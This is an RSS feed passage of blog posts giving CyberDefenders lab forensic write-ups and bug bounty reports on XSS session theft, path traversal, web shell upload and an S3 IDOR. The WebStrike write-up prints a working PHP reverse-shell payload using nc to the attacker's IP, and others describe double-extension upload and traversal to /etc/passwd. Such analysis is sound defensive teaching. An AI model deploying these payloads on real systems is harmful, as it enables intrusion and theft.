(</strong><strong>cb=$(date +%s))?</strong><br>It ensures each request has a unique query string, making it easier to correlate with the response ID returned by the server and avoiding overlap with previous test requests when reviewing logs.</p><p>A 200 OK with a JSON confirmation — instead of 403 Forbidden or 405 Method Not Allowed — is a clear sign that no access control exists on this method whatsoever.</p><h3>Closing Thoughts</h3><p>This vulnerability is technically simple — a single curl command is enough to prove it. But the real value of this experience wasn’t the technical finding itself. It was the lesson in assessing impact accurately and accepting a triage outcome professionally.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=907bef7f0ec5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[RetailBreach] Tracing a Stored XSS and Path Traversal in Wireshark — CyberDefenders Labs]]></title>
            <link>https://medium.com/@prabaswaradaffa2/retailbreach-cyberdefenders-labs-287255a9315c?source=rss-5dcc53ddc0b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/287255a9315c</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyberdefender]]></category>
            <dc:creator><![CDATA[Mephisto]]></dc:creator>
            <pubDate>Fri, 23 Oct 2026 17:58:53 GMT</pubDate>
            <atom:updated>2026-10-24T05:35:31.908Z</atom:updated>
            <content:encoded><![CDATA[<h3>[RetailBreach] Tracing a Stored XSS, Session Hijack, and Path Traversal in Wireshark — CyberDefenders Labs</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i_jV7o6j6U95mUmM5FfhdQ.png" /></figure><h3>Scenario :</h3><p>In recent days, ShopSphere, a prominent online retail platform, has experienced unusual administrative login activity during late-night hours. These logins coincide with an influx of customer complaints about unexplained account anomalies, raising concerns about a potential security breach. Initial observations suggest unauthorized access to administrative accounts, potentially indicating deeper system compromise.</p><p>The mission is to investigate the captured network traffic to determine the nature and source of the breach. Identifying how the attackers infiltrated the system and pinpointing their methods is critical to understanding the attack’s scope and mitigating its impact.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*_8AvX_E2HaTNM4wMCzgZSg.png" /></figure><p>The lab provides a single artifact, RetailBreach.pcap, in the Artifacts folder. I opened it directly in Wireshark.</p><h3>Q1: Identifying the Attacker’s IP Address</h3><p><strong>Question:</strong> Identifying an attacker’s IP address is crucial for mapping the attack’s extent and planning an effective response. What is the attacker’s IP address?</p><h3>How I solved it</h3><p>Since all the activity here is web traffic, I narrowed the view to HTTP and looked at who is sending the requests. Filtering on the suspect host looked like this:</p><pre>ip.src==111.224.180.128 and http</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*lMhVkDtIQl5OlRnwYjjlyA.png" /></figure><p>Every request from this host goes to the same destination, 73.124.17.52, which is the web server hosting shopsphere.com.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P1EJJbWvNNtPdZf1rqeslQ.png" /></figure><p>Wireshark filter ip.src==111.224.180.128 and http showing page browsing followed by a burst of automated requests.</p><h3>Q2: Identifying the Directory Brute-Forcing Tool</h3><p><strong>Question:</strong> The attacker used a directory brute-forcing tool to discover hidden paths. Which tool did the attacker use to perform the brute-forcing?</p><h3>How I solved it</h3><p>The burst of requests for hidden files from Q1 looked like wordlist-driven scanning. To confirm which tool was behind it, I picked one of those packets (such as the request for /.hta) and used <strong>Follow → HTTP Stream</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*BWcli8J0Lhjpdi6q0A8TBA.png" /></figure><p>The User-Agent header openly names the tool and its version: <strong>gobuster 3.6</strong>. The responses also show how directory brute-forcing works in practice: the server answers 403 Forbidden for paths that exist but are restricted, and 404 Not Found for ones that don&#39;t. The tool uses those differences to map what&#39;s on the server.</p><p>Follow HTTP Stream showing gobuster/3.6 requests and 403/404 responses.</p><h3>Q3: Identifying the XSS Payload</h3><p><strong>Question:</strong> Cross-Site Scripting (XSS) allows attackers to inject malicious scripts into web pages viewed by users. Can you specify the XSS payload that the attacker used to compromise the integrity of the web application?</p><h3>How I solved it</h3><p>An XSS payload is going to contain script tags, so I searched the attacker’s HTTP traffic for the word “script”:</p><pre>ip.src==111.224.180.128 and http contains &quot;script&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eVKX8PMW27N1JZ0zBRAgdA.png" /></figure><p>I selected it and expanded <strong>HTML Form URL Encoded</strong> in the packet details. The reviews.php form field contains:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vq33BkHCLm20lxhLhOEiMw.png" /></figure><p>That’s the payload. Whenever a browser renders this review, the script runs and sends the viewer’s cookies to the attacker’s own server at 111.224.180.128. Because it&#39;s stored in the review and runs for anyone who loads the page, this is a <strong>stored XSS</strong>.</p><p>Other details in the request support this reading. The Referer is http://shopsphere.com/reviews.php, so the payload was submitted through the normal review form.</p><h3>Q4: Finding When the Admin Visited the Infected Page</h3><p><strong>Question:</strong> Pinpointing the exact moment an admin user encounters the injected malicious script is crucial for understanding the timeline of a security breach. Can you provide the UTC timestamp when the admin user first visited the page containing the injected malicious script?</p><h3>How I solved it</h3><p>The payload only works once somebody else opens the page that displays the review. So I looked for visits to /reviews.php from any host <strong>other than</strong> the attacker:</p><pre>ip.src!=111.224.180.128 and http contains &quot;reviews.php&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kqSDTPxlBHjGhZPsAm2_-A.png" /></figure><p>I selected frame 10106 and expanded the <strong>Frame</strong> section in the packet details to read the arrival time in UTC:</p><pre>UTC Arrival Time: Mar 29, 2024 12:09:50.869688000 UTC</pre><p>Filter showing GET /reviews.php requests from other hosts and the UTC arrival time of frame 10106.</p><h3>Q5: Recovering the Stolen Session Token</h3><p><strong>Question:</strong> The theft of a session token through XSS is a serious security breach that allows unauthorized access. Can you provide the session token that the attacker acquired and used for this unauthorized access?</p><h3>How I solved it</h3><p>The payload steals document.cookie, which for a PHP application usually means the PHPSESSID session cookie. The victim&#39;s browser sends that cookie in its own request, so I returned to frame 10106, the admin&#39;s visit to /reviews.php, and used <strong>Follow → HTTP Stream</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*Pd17crlbp85BFyjqcaPN7A.png" /></figure><p>This is the admin’s session ID, the same value the injected script would have forwarded to the attacker. I’ll verify in Q6 that the attacker really used it afterwards.</p><p>One thing to watch out for: the attacker’s own POST in Q3 also carried a PHPSESSID, but that&#39;s the attacker&#39;s session, not the stolen one. The stolen token is the one in the admin&#39;s request.</p><p>Admin’s GET /reviews.php request with the PHPSESSID cookie highlighted.</p><h3>Q6: Identifying the Exploited Script</h3><p><strong>Question:</strong> Identifying which scripts have been exploited is crucial for mitigating vulnerabilities in a web application. What is the name of the script that was exploited by the attacker?</p><h3>How I solved it</h3><p>With the admin session in hand, I wanted to see what the attacker did next. I went back to the attacker’s HTTP traffic and sorted it by frame number so it reads as a timeline:</p><pre>ip.src==111.224.180.128 and http and frame.number</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XhBfbcxJ0-jhmjZ81_54DQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*AJnX8EspBGjFC9FslLykrA.png" /></figure><p>I followed the HTTP stream of frame 10205 to confirm the script name in the request line. Also, the request’s Cookie header matches the token from Q5, which shows the stolen session is being used to reach these admin pages.</p><p>The attacker’s request timeline moving through /admin/ pages up to log_viewer.php</p><p>Follow HTTP Stream showing GET /admin/log_viewer.php?file=error.log</p><h3>Q7: Identifying the Path Traversal Payload</h3><p><strong>Question:</strong> Exploiting vulnerabilities to access sensitive system files is a common tactic used by attackers. Can you identify the specific payload the attacker used to access a sensitive system file?</p><h3>How I solved it</h3><p>The last request in the timeline, frame 10217, is the one that matters. I opened it two ways.</p><p>In <strong>Follow → HTTP Stream</strong>, the full request and response are visible:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VIjg-RIPBtvFYqG3GoFbMw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*-e0Qk-o_1dqv0WRUGYYu8Q.png" /></figure><p>The payload itself is a <strong>path traversal</strong> (directory traversal). The script was meant to read log files like error.log, but it doesn&#39;t restrict the file parameter. By stacking ../ sequences, the attacker climbs out of the log directory up to the filesystem root and then reads /etc/passwd, a sensitive system file listing the server&#39;s user accounts.</p><h3><strong>Thanks for reading!</strong></h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=287255a9315c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[WebStrike] From Web Shell Upload to Reverse Shell with Wireshark — CyberDefenders Labs]]></title>
            <link>https://medium.com/@prabaswaradaffa2/webstrike-cyberdefenders-labs-5796e6784fd1?source=rss-5dcc53ddc0b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/5796e6784fd1</guid>
            <category><![CDATA[cyberdefenders-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mephisto]]></dc:creator>
            <pubDate>Thu, 22 Oct 2026 18:02:13 GMT</pubDate>
            <atom:updated>2026-10-24T05:37:38.692Z</atom:updated>
            <content:encoded><![CDATA[<h3>[WebStrike] From Web Shell Upload to Reverse Shell with Wireshark — CyberDefenders Labs</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*16DblT1yQ0u6eokzkoTSvg.png" /></figure><h3><strong>Scenario :</strong></h3><p>A suspicious file was identified on a company web server, raising alarms within the intranet. The Development team flagged the anomaly, suspecting potential malicious activity. To address the issue, the network team captured critical network traffic and prepared a PCAP file for review.<br>Your task is to analyze the provided PCAP file to uncover how the file appeared and determine the extent of any unauthorized activity.</p><p><strong>Tools used:</strong> Wireshark, IP Geolocation Lookup</p><h3>Q1: Identifying the Source of the Attack</h3><p><strong>Question:</strong> Knowing the attacker’s geographical origin helps in implementing geo-blocking measures and assessing the potential for further attacks from the same region. From which city did the attack originate?</p><h3>How I solved it</h3><p>I started by getting a feel for the capture. Two IP addresses dominate the conversation:</p><ul><li>117.11.88.124</li><li>24.49.63.79</li></ul><p>The first thing to settle is which one is the attacker and which one is the victim. In the packet list, 24.49.63.79 is mostly the <em>destination</em> of HTTP requests, which makes it the web server. 117.11.88.124 is the <em>source</em> of those requests, so it&#39;s the client sending the suspicious traffic.</p><p>To confirm, I ran both through an IP geolocation lookup.</p><p>24.49.63.79 resolves to the <strong>United States</strong>, with the hostname 79.63.49.24.sta.myactv.net, consistent with the victim server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*b7uxySovnuN9AfIaE_ITow.png" /></figure><p>117.11.88.124 resolves to <strong>Tianjin, China</strong> (Nankai district).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*WJ18kr6h6yafGzuQy2IKoQ.png" /></figure><p><strong>So the attacker came from</strong></p><pre>Tianjin</pre><h3>Q2: Identifying the Attacker’s User-Agent</h3><p><strong>Question:</strong> Knowing the attacker’s browser and OS can help in creating effective filtering rules. What’s the attacker’s full User-Agent?</p><h3>How I solved it</h3><p>Since I already knew the attacker’s IP, I filtered the traffic from that host:</p><pre>ip.src == 117.11.88.124 &amp;&amp; http</pre><p>The attacker’s first request after the TCP handshake is GET /favicon.ico in <strong>frame 8</strong>. I selected that packet and expanded the <strong>Hypertext Transfer Protocol</strong> layer in the packet details pane. The User-Agent header is right there:</p><pre>User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0</pre><p>That tells us the attacker is using <strong>Firefox 115 on Linux x86_64</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*htmFkDNCnFhCfMtLgyfKOg.png" /></figure><h3>Q3: Identifying the Uploaded Web Shell</h3><p><strong>Question:</strong> We need to determine if any vulnerabilities were exploited. What is the name of the malicious web shell that was successfully uploaded?</p><h3>How I solved it</h3><p>File uploads are sent via HTTP POST, so I applied this display filter:</p><pre>http.request.method == POST</pre><p>I selected frame 63 and expanded <strong>MIME Multipart Media Encapsulation</strong> in the details pane. The form has four parts: name, email, review, and uploadedFile. The last one is the interesting one:</p><pre>Content-Disposition: form-data; name=&quot;uploadedFile&quot;; <br>filename=&quot;image.jpg.php&quot;<br>Content-Type: application/x-php</pre><p>Two red flags stand out:</p><ul><li><strong>The filename </strong><strong>image.jpg.php</strong> uses a <em>double extension</em>. It&#39;s designed to look like an image to a weak validator, while the final .php makes the server execute it as a PHP script.</li><li><strong>The </strong><strong>Content-Type: application/x-php</strong> is plainly not an image, yet the server accepted it.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Js9uVmC5Lbnq5oJXaKMG2A.png" /></figure><h3>Q4: Identifying the Upload Directory</h3><p><strong>Question:</strong> Knowing where the files are stored on the server is key to finding them and understanding how the attacker triggered them. Which directory is used by the website to store the uploaded files?</p><h3>How I solved it</h3><p>An uploaded web shell is useless until the attacker requests it, so I looked for a GET request to the file. I filtered on the filename:</p><pre>http.request.uri contains &quot;image.jpg.php&quot;</pre><p>Then I right-clicked the request and chose <strong>Follow → TCP Stream</strong> (this was tcp.stream eq 12):</p><p>Both the request path and the Referer header point to the same place: the files are stored in <strong>/reviews/uploads/</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kxa3Fhyq3ewkNSmpa7ImPw.png" /></figure><h3>Q5: Identifying the Reverse Shell Port</h3><p><strong>Question:</strong> Pinpointing the port used by the malicious web shell helps block outbound traffic to it. Which port was the web shell configured to use for its outbound communication?</p><h3>How I solved it</h3><p>The answer is inside the payload the attacker uploaded. I went back to the upload request and used <strong>Follow → TCP Stream</strong> on tcp.stream eq 5, which shows the whole multipart body in readable form:</p><pre>&lt;?php system(&quot;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 117.11.88.124 8080 &gt;/tmp/f&quot;); ?&gt;</pre><p>The server answered with HTTP/1.1 200 OK and the message &quot;File uploaded successfully&quot;, so nothing stopped it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gnbpguk657dxUkA7ov2Hdg.png" /></figure><p>Notice the direction of the connection: the <em>victim</em> connects <em>out</em> to the attacker. That’s why it’s called a reverse shell, and why it often slips past firewalls that only filter inbound traffic.</p><h3>Q6: Identifying the Exfiltration Target</h3><p><strong>Question:</strong> Following the attacker’s initial access, what specific file were they attempting to exfiltrate?</p><h3>How I solved it</h3><p>Back to the POST filter from Q3. Frame <strong>267</strong> stood out because the direction is reversed: it goes from the <strong>victim (</strong><strong>24.49.63.79)</strong> to the <strong>attacker (</strong><strong>117.11.88.124)</strong>. I followed the TCP stream for that packet:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uuxkMcDfYZ1XnJZNoNwnwA.png" /></figure><p>A few things worth noting:</p><ul><li><strong>The User-Agent is </strong><strong>curl/7.81.0</strong>, not a browser. This request was made from a command line on the server itself, which confirms the attacker had working shell access.</li><li><strong>The destination port is 443</strong>, a port that’s usually allowed outbound, likely chosen to blend in. The body is plain HTTP, though, so it’s readable in the capture.</li><li><strong>The body is </strong><strong>/etc/passwd</strong>, the Linux file that lists user accounts.</li></ul><h3>Thanks for reading!</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5796e6784fd1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[When a “Secret” S3 Link Isn’t So Secret: IDOR in a Whistleblowing System]]></title>
            <link>https://medium.com/@prabaswaradaffa2/when-a-secret-s3-link-isnt-so-secret-idor-in-a-whistleblowing-system-4e6b47471435?source=rss-5dcc53ddc0b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/4e6b47471435</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[Mephisto]]></dc:creator>
            <pubDate>Thu, 22 Oct 2026 14:10:19 GMT</pubDate>
            <atom:updated>2026-11-13T07:21:58.649Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kql4QiLBn8YbYEGVGuHnPw.png" /></figure><p>A whistleblowing channel exists for exactly one reason: so a reporter can say what happened without fear of being identified. So what happens when the attachment they upload — a document, a photo, evidence — ends up sitting behind a link that anyone can open, no login required? That’s the bug this write-up walks through: a straightforward IDOR that turned an S3 bucket into an open filing cabinet for confidential reports.</p><p><em>Note: identifying details (bucket name, domain, object paths) have been redacted since remediation is still in progress. This post focuses on the vulnerability class and the methodology, not on reproducing it against the live target.</em></p><h3><strong>The Target</strong></h3><p>The application under scope included a <strong>whistleblowing mechanism</strong> — a form where employees or external parties can submit reports of misconduct, optionally attaching supporting files such as PDFs.</p><p>Like most modern web apps, file uploads here were offloaded to an S3 bucket rather than stored on the application server itself. That’s a sane architectural choice — <em>if</em> access to the bucket is actually controlled. The question I wanted to answer: once a file is uploaded, who can see it afterward?</p><h3>Finding the Bug</h3><p>I filled out the whistleblowing form and attached a harmless test file (Hello world.pdf) just to see how the upload flow behaved. With Burp Suite sitting in the middle, I intercepted the request and looked at the response body.</p><p>Sitting right there in the response was a field called attached_file_path — a full, direct S3 URL pointing at the uploaded object:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*qb2B4sDwpCNo5oBIVXMeLw.png" /></figure><p>The server answered:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dsfCgUHLxigIN2K4ikMSiQ.png" /></figure><p>…and handed back the full PDF, byte for byte. No prompt for credentials, no 403, nothing. The file was served purely because I had the URL — and that URL is handed to the client on every upload, visible to anyone who can intercept traffic, check a browser history, or read a server/proxy access log.</p><p>That’s the whole bug, and that’s exactly what makes it dangerous: it took no exploitation technique more advanced than <em>reading the response</em>.</p><h3>Why This Matters</h3><p>It’s tempting to file this under “just an IDOR” and move on, but the context is what raises the stakes:</p><ul><li><strong>For the application</strong> — the storage model relied entirely on the URL being secret rather than on actual access control. Once a link leaks — through a log, a Referer header, a shared screen, browser history — access is permanent and unauthenticated. There’s no revoking it.</li><li><strong>For the reporters</strong> — these aren’t marketing assets or product screenshots. They’re evidence attached to reports of misconduct. If that attachment leaks, it can expose who filed the report and what they reported, which can translate directly into retaliation: job loss, harassment, or worse.</li><li><strong>For the organization</strong> — whistleblower protection is a legal and regulatory obligation in most jurisdictions, not just a nice-to-have. A confidentiality failure here isn’t only a reputational problem; it can be a compliance one, and it erodes the one thing a whistleblowing channel depends on — trust that people can actually use it safely.</li></ul><blockquote><strong>Thanks for reading</strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4e6b47471435" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>